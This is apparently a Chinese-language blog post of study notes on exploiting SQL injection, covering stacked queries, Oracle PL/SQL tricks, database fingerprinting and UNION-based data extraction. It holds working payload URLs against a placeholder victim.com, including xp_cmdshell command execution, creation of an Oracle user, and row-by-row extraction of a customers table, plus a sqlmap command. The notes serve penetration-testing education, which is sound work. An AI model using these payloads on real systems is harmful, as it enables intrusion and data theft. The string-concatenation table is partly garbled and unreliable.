SQL注入与防御-第四章-1:利用SQL注入--20%

# 理解常见的漏洞利用

一、漏洞利用前提

借助应用测试(如第 2 章)、复查源码技术(如第 3 章 ),发现 Web 应用中易受攻击参数后,进入利用阶段,需先明确:

  • 本地数据库辅助:搭建与目标同类型的本地数据库,便于测试、观察 SQL 注入响应(含数据、错误信息 ),辅助理解攻击逻辑。
  • 数据库输出关联:关注应用是否以 HTML 格式展示 SQL 查询输出(如报错、查询结果 ),若数据库返回详细错误(如 SQL 语法、执行异常信息 ),能大幅降低注入利用难度;无直观输出则需依赖盲注等进阶技巧。

二、典型攻击场景与技术

(一)基于商品页的注入示例(以victim.com商品页为例 )

  • 场景:商品页 URL 含参数id(如http://www.victim.com/products.asp?id=12 ),id参数存在 SQL 注入可能,虽示例为数字型参数(无需单引号闭合 ),但逻辑可推广到其他类型参数(字符型等需注意闭合规则 )。
  • 注入思路:通过构造含注入代码的请求(URL 或 POST 参数 ),突破原查询逻辑,实现如获取额外数据、执行恶意操作等目的;需注意,注入时可能需注释 / 终止原始查询(如用-等符号 ),保证注入代码独立执行,可参考第 2 章 “注释终止 SQL 查询” 知识。

(二)堆叠查询(Stacked Query)

  • 概念:在单个数据库连接中执行多个查询序列,是 SQL 注入利用的关键因素,能否实现受数据库类型、应用技术框架限制(如ASP.NET + SQL Server 、PHP + MySQL 等组合支持度不同 )。

  • 示例:作用:终止原始查询(;分隔 ),追加执行系统命令(xp_cmdshell ,需对应数据库权限 ),让远程服务器执行额外操作,突破 “仅查询数据” 限制,扩展攻击影响(如读写文件、执行系统指令 )。

    http://www.victim.com/products.asp?id=1;exec master..xp_cmdshell 'dir'--
    

    以下是按照数据库分类,梳理支持堆叠查询的情况,结合常见语言(如 PHP 等与数据库交互场景 )说明:

    1. MySQL

    • 默认情况:纯 MySQL 数据库本身支持堆叠查询语法(用 ; 分隔多条语句 ),但 PHP 连接 MySQL 时,常规用 mysqli_query 等函数默认不支持(因安全限制,防止多语句执行风险 )。
    • 特殊支持场景:若 PHP 代码显式使用 mysqli_multi_query 函数(专门用于执行多语句查询 ),则可实现堆叠查询;否则,PHP + MySQL 组合默认 “不支持” 堆叠注入(从应用层限制角度 )。

    2. SQL Server(MSSQL)

    • 数据库层:本身原生支持堆叠查询,多条语句用 ; 分隔即可。
    • 语言交互:像 PHP 用 sqlsrv 扩展、.NET 用 ADO.NET 等方式连接时,若代码未做严格多语句限制,可执行堆叠查询,是常见的堆叠注入利用目标(比如经典的 ; DROP TABLE... 注入场景 )。

    3. PostgreSQL(PG)

    • 数据库层:支持堆叠查询语法,多条 SQL 语句用 ; 分隔可顺序执行。
    • 语言交互:PHP 访问 PostgreSQL 时,若使用 pg_query 等基础函数,默认允许堆叠查询执行(与 MySQL + PHP 场景不同,PG 对多语句限制更宽松 ),因此易成为堆叠注入的利用点。

    4. Oracle

    • 数据库层:默认 不直接支持 简单的 ; 分隔堆叠查询(因 Oracle 以 PL/SQL 块为多语句执行单元 )。
    • 特殊利用方式:需通过 BEGIN...END; 等 PL/SQL 语法封装多语句,或借助 DBMS_ 系列函数间接实现 “多操作”,严格来说不算传统堆叠,但可达到类似执行多条逻辑的效果,常被用于进阶注入。

    总结来看:

    • 明确支持堆叠(数据库层原生 + 语言适配):SQL Server、PostgreSQL(PHP 等语言适配后可直接用 ; 分隔多语句 )。
    • MySQL 特殊点:数据库本身支持,但 PHP 等语言默认用常规函数会 “屏蔽”,需 mysqli_multi_query 才开放。
    • Oracle 差异:需 PL/SQL 语法 “模拟” 多语句,与传统堆叠逻辑有别,但可实现类似攻击效果。

    本质上,堆叠查询是否被 “支持”,是数据库能力 + 应用层(语言、函数、安全配置 )共同决定的,渗透测试或代码审计时,需结合具体技术栈判断~

(三)Oracle 数据库注入挑战与应对

  • 核心限制:Oracle SQL 语言默认不允许执行堆叠查询,需特殊手段执行 PL/SQL 块绕过。
  • PL/SQL 块执行方法
    • PL/SQL 是 Oracle 内置过程化语言,可封装多条语句,需用BEGIN...END 包裹,例:

      SQL> DECLARE
      MSG VARCHAR2(200);
      BEGIN
      MSG:='HELLO WORLD';
      DBMS_OUTPUT.PUT_LINE(MSG);
      END;
      /
      
    • 利用 Oracle 默认函数(如dbms_xmlquery.newcontextdbms_xmlquery.getxml ,PUBLIC 权限可调用 ),注入时拼接 PL/SQL 块执行,例:作用:借助函数执行自定义 PL/SQL,实现创建用户等操作,获取与交互工具(如 Sqlplus )同级控制权限,突破常规 SQL 注入限制。

      http://www.victim.com/index.jsp?id=1 and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''create user pwned identified by pwn3d ''; commit; end;') from dual is not null --
      

三、识别数据库的重要性

成功 SQL 注入攻击的基础前提:明确目标应用使用的数据库类型(如 SQL Server、MySQL、Oracle、PostgreSQL 等 )。

  • 关联技术栈特征:不同技术栈常关联特定数据库(如ASP.NET + SQL Server 、PHP + MySQL 、Java + 多类型适配但需结合配置判断 ),辅助快速定位。
  • 攻击适配依据:数据库类型决定注入语法(如注释符、函数、堆叠查询支持度 )、利用方式(如 SQL Server 的xp_cmdshell 、Oracle 的 PL/SQL ),是定制攻击 payload 的核心参考。

识别数据库:SQL 注入的前置关键步骤

一、核心价值

在 SQL 注入攻击中,识别目标数据库类型与版本是关键前提:

  • 不同数据库(MySQL、SQL Server、Oracle 等)的语法、函数、漏洞利用方式差异极大。
  • 精准识别后,才能针对性构造注入语句(如利用特定版本漏洞、适配 SQL 方言 ),提取数据或突破防御。

二、识别线索与方法

(一)基础线索:Web 技术栈关联

Web 技术栈 高频关联数据库 原理
ASP/.NET Microsoft SQL Server 微软技术生态绑定
PHP MySQL、PostgreSQL 开源生态常用组合
Java Oracle、MySQL 企业级 / 开源场景适配
底层 OS 线索 如 IIS→Windows→SQL Server;Apache→Linux→MySQL/PostgreSQL 服务器环境与数据库的典型搭配

(二)错误消息识别(最直接手段)

数据库执行错误 SQL 时,会返回包含技术特征的错误信息,可用于精准识别:

1. 错误消息的 “签名” 特征

  • MySQL 示例:执行不存在表的查询,返回 ERROR 1146 (42S02): Table 'foo.bar' doesn't exist,其中 1146 是 MySQL 特有错误码。
  • Oracle 示例:执行语法错误的 CREATE TABLE,返回 ORA-01737: not specify column datatypes in this CREATE TABLEORA-01737 是 Oracle 专属错误码。
  • PostgreSQL 示例:执行未闭合字符串的查询,返回 pg_query(): Query failed: ERROR: unterminated quoted string at or near...pg_query 是 PostgreSQL 客户端函数特征。

2. 利用错误消息的查询方法

通过注入故意触发语法错误,捕获返回的错误信息,提取数据库特征:

  • 注入单引号破坏 SQL 语法(如 ' OR 1=1 -- ),观察响应中的错误码、函数名(如 mysql_query )。

  • 示例流程:

    注入点:?id=1'  
    响应:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version...  
    → 识别为 MySQL 数据库
    

(三)特定查询识别(精准版本探测)

向数据库发送版本专属查询,根据返回结果判断类型与版本:

1. 通用查询模板(表 4-1 核心内容)

数据库类型 版本查询语句 返回示例(以 SQL Server 2008 为例)
Microsoft SQL Server SELECT @@version Microsoft SQL Server 2008 (RTM) - 10.0.1600.22
MySQL SELECT VERSION() 5.7.36 - MySQL Community Server
Oracle SELECT banner FROM v$version Oracle Database 19c Enterprise Edition
PostgreSQL SELECT version() PostgreSQL 14.5 on x86_64-pc-linux-gnu

2. 高级用法:利用错误回显版本

若注入点无法直接返回查询结果,可通过类型转换错误间接获取版本:

  • SQL Server 示例:注入 ?id=@@version 到数字型参数(如 id 期望是数字),触发错误:→ 从错误中提取版本信息。

    Conversion failed when converting the varchar value 'Microsoft SQL Server 2008...' to data type int.
    

(四)SQL 方言差异识别(盲注场景)

当注入点无错误回显(盲注),利用不同数据库的语法差异推断类型:

1. 字符串拼接差异(表 4-2 核心内容)

数据库类型 字符串拼接语法 测试查询(注入后观察是否报错)
Microsoft SQL Server SELECT 'some' + 'string' 拼接成功 → SQL Server
MySQL `SELECT ‘some’ ‘string’` 拼接成功 → MySQL(需开启 PIPES_AS_CONCAT)
Oracle `SELECT ‘some’ ‘string’` 拼接成功 → Oracle
PostgreSQL SELECT CONCAT('some','string') 拼接成功 → PostgreSQL

2. 数字函数差异(表 4-3 核心内容)

数据库类型 数字函数测试语句 预期结果(成功则匹配)
Microsoft SQL Server SELECT @@pack_received 返回数字 → SQL Server
MySQL SELECT connection_id() 返回连接 ID → MySQL
Oracle SELECT BITAND(1,1) 返回 1 → Oracle
PostgreSQL SELECT EXTRACT(DOW FROM NOW()) 返回当前星期几 → PostgreSQL

(五)特殊语法识别(精准判定)

利用数据库专属语法,注入后观察是否执行(无报错即匹配):

  • SQL Server:WAITFOR DELAY '0:0:1'(延迟执行,观察响应时间)。
  • PostgreSQL:SELECT pg_sleep(10)(延迟 10 秒,判断是否支持)。
  • MySQL:注释语法 /*!40119 SELECT 1 */(仅版本 ≥4.0.119 执行,返回 2 则版本符合 )。

三、工具辅助识别

  • Sqlmap:自动化识别数据库类型、版本,支持 -dbms 参数指定或自动探测。示例命令:

    sqlmap -u "http://example.com/?id=1" --identify-db
    
  • 手动验证:结合上述方法,构造 payload 验证工具结果(避免误判)。

四、总结

识别数据库是 SQL 注入的第一步,也是定制化攻击的基础。通过 Web 技术栈关联、错误消息捕获、特定查询探测、SQL 方言差异、特殊语法验证,可精准锁定目标数据库类型与版本。工具(如 Sqlmap )可提升效率,但人工理解识别逻辑,能应对复杂场景(如盲注、无回显注入 )。掌握这些方法,才能为后续注入攻击(如数据提取、权限提升 )奠定基础。

使用 UNION 语句提取数据

一、UNION 基本语法与作用

(一)基础用法

  • 作用:合并两条或多条 SELECT 语句的查询结果。
  • 语法
SELECT column-1,column-2,...,column-N FROM table-1
UNION
SELECT column-1,column-2,...,column-N FROM table-2
  • 特点:默认去重,结果集为两个 SELECT 结果的并集(无重复行 )。

(二)包含重复值

  • 需求:保留重复行时,用 UNION ALL 替换 UNION
  • 语法
SELECT column-1,column-2,...,column-N FROM table-1
UNION ALL
SELECT column-1,column-2,...,column-N FROM table-2

二、SQL 注入中 UNION 的规则(匹配列与数据类型 )

(一)匹配列数

  • 要求:两个 SELECT 语句返回的列数必须相同。
  • 错误示例:若列数不匹配,数据库返回报错(不同数据库报错信息有差异,如 MySQL 提示 The used SELECT statements have a different number of columns )。
  • 检测方法
    • 递增测试:通过注入 UNION SELECT NULL 逐步增加列数,直到无报错(如 Oracle 需补充 FROM dual )。示例 URL:
http://www.victim.com/products.asp?id=12+union+select+null--  
http://www.victim.com/products.asp?id=12+union+select+null,null--
  • ORDER BY 辅助:用 ORDER BY n 推测列数(n 为列索引),若 n 超出实际列数则报错,从而确定准确列数。示例 URL:
http://www.victim.com/products.asp?id=12+order+by+1  
http://www.victim.com/products.asp?id=12+order+by+6 (若报错,说明列数小于 6 )

(二)匹配数据类型

  • 要求:对应列的数据类型需兼容(如同为字符串、数值等 )。
  • 处理技巧
    • 用 NULL 占位:注入时用 NULL 填充列,因 NULL 可适配多数类型(Oracle 需注意 FROM dual )。示例 URL:
http://www.victim.com/products.asp?id=12+union+select+NULL,system_user,NULL,NULL--
  • 类型转换(针对非字符串类型):若目标列非字符串,需用函数转换(如 SQL Server 用 CAST(123 AS varchar) ),确保与原始查询列类型兼容。

三、UNION 注入实战技巧

(一)多数据拼接提取

  • 需求:在一列中合并多数据(如用户名 + 数据库名 )。
  • 语法(以 SQL Server 为例)
SELECT NULL, system_user + '|' + db_name(), NULL, NULL
  • URL 示例
http://www.victim.com/products.asp?id=12+union+select+NULL,system_user%2B'%7C'%2Bdb_name(),NULL,NULL--

(注:%2B+ 的 URL 编码,%7C| 的 URL 编码 )

(二)移除原始查询结果

  • 场景:若仅需 UNION 注入结果(而非原始查询数据 ),需让原始查询条件永假。
  • 方法:添加 AND 1=0 使原始 WHERE 条件不成立。示例 URL:
http://www.victim.com/products.asp?id=12+and+1=0+union+select+NULL,system_user,NULL,NULL--
  • 效果:原始查询因 1=0 无结果,仅返回 UNION 注入的 system_user 数据。

(三)遍历表数据(逐行提取 )

  • 需求:提取整表数据(如 customers 表 ),需逐行获取。
  • 方法
    1. 首行提取:用 1=0 移除原始结果,注入目标表首行查询。URL 示例:
http://www.victim.com/products.asp?id=12+and+1=0+union+select+userid,first_name,second_name,NULL+from+customers--
  1. 后续行提取:添加 WHERE userid > nn 为已提取行的 userid ),继续遍历。URL 示例:
http://www.victim.com/products.asp?id=12+and+1=0+union+select+userid,first_name,second_name,NULL+from+customers+WHERE+userid>+1--

四、关键总结

要点 说明
UNION 基础 合并 SELECT 结果,UNION 去重、UNION ALL 保留重复行
注入前提 需匹配列数数据类型,通过 NULL 测试、ORDER BY 推测列数
实战技巧 用拼接函数合并多数据、AND 1=0 移除原始结果、逐行遍历表数据
数据库差异 不同数据库(MySQL、Oracle 等)报错信息、语法细节(如 Oracle 的 FROM dual )有区别,需适配

(注:SQL 注入为高危操作,需在授权环境或合法渗透测试中实践,禁止用于非法用途 )
后续将继续介绍如何枚举数据库模式,以及注入后如何提升权限和窃取口令等内容。

你可能感兴趣的:(SQL注入与防御,sql,网络安全,web安全)